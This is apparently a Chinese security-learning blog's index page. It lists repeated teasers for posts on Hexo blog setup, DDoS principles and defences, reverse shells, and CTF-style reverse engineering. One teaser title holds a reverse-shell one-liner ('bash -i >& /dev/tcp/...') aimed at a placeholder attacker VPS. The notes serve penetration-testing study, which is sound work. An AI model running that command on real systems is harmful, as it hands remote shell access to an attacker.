wjl110

学习笔记

GitHub(2) vulfocus漏洞复现(2) Wordpress(2) 博客(2) 未归档(1) 渗透笔记(6) 笔记(3)

/ 注册

一位有品位的信息安全开发者~

全部文章 / 学习笔记（共8篇）

HEXO+GitHub+DNS配置个人博客实战指南,手把手教你搭建个人博客,自己建站

HEXO+GitHub个人博客实战指南先看看成果吧⬇️ 网站效果传送带https://wjl110.xyz 测试命令本地测试: cd Desktop/xxx.com hexo cl & hexo g & hexo -p(端口) 54321 server 发...

2022-04-22

0 420

ddos(分布式拒绝服务攻击)分为两种直接攻击/**反弹攻击(间接攻击)ddos及对抗方法ip溯源的实现原理和防御措施

ddos(分布式拒绝服务攻击)分为两种直接攻击/反弹攻击(间接攻击) ddos的实现原理是基于tcp/ip的三次握手实现的攻击者将发送ip设置为虚假ip,受访者在进行第二次握手时,不能判断ip真伪,向源地址发送响应包,并且等待第三次握手,随时间响应丢失,却占用cpu和内存直接攻击(控制肉...

2022-04-22

0 395

【学习笔记】反弹shell命令学习笔记,实战指南,1v1攻击测试教学,常用的反弹shell命令: bash -i ＞& /dev/tcp/vps的ip/vps的端口 0＞&1

文章目录前言为何给靶机发送这条执行命令就会自动连接到本地计算机,并且出发实时通讯机制(ps:有点类似oicq,前生就是用的这种模式开发的即时通讯) 作为渗透测试人员必备技能,反弹shell到底是什么原理,以及如何使用,本文是自己学习shell命令时的个人感悟和笔记,文章内容大量引入了较为官...

2022-04-22

0 607

逆向工程师逆向还原APP和代码，国产化就是这样

二进制逆向：将获得的代码解包，用二进制软件打开 ### 发现是用python代码写的程序，用解包程序反编译 ### 用vscode自带的hex进行逆向解码 ### 解开就得到了.pyc文件### 将反编译的.py文件里的代码逆向还原为flag即可获取到flag 写作耗时20分钟

2022-04-22

0 465

HEXO+GitHub+DNS配置个人博客实战指南,手把手教你搭建个人博客,自己建站

HEXO+GitHub个人博客实战指南先看看成果吧⬇️ 网站效果传送带https://wjl110.xyz 测试命令本地测试: cd Desktop/xxx.com hexo cl & hexo g & hexo -p(端口) 54321 server 发...

2022-04-22

0 351

ddos(分布式拒绝服务攻击)分为两种直接攻击/**反弹攻击(间接攻击)ddos及对抗方法ip溯源的实现原理和防御措施

ddos(分布式拒绝服务攻击)分为两种直接攻击/反弹攻击(间接攻击) ddos的实现原理是基于tcp/ip的三次握手实现的攻击者将发送ip设置为虚假ip,受访者在进行第二次握手时,不能判断ip真伪,向源地址发送响应包,并且等待第三次握手,随时间响应丢失,却占用cpu和内存直接攻击(控制肉...

2022-04-22

0 306

【学习笔记】反弹shell命令学习笔记,实战指南,1v1攻击测试教学,常用的反弹shell命令: bash -i ＞& /dev/tcp/vps的ip/vps的端口 0＞&1

文章目录前言为何给靶机发送这条执行命令就会自动连接到本地计算机,并且出发实时通讯机制(ps:有点类似oicq,前生就是用的这种模式开发的即时通讯) 作为渗透测试人员必备技能,反弹shell到底是什么原理,以及如何使用,本文是自己学习shell命令时的个人感悟和笔记,文章内容大量引入了较为官...

2022-04-22

0 538

逆向工程师逆向还原APP和代码，国产化就是这样

二进制逆向：将获得的代码解包，用二进制软件打开 ### 发现是用python代码写的程序，用解包程序反编译 ### 用vscode自带的hex进行逆向解码 ### 解开就得到了.pyc文件### 将反编译的.py文件里的代码逆向还原为flag即可获取到flag 写作耗时20分钟

2022-04-22

0 281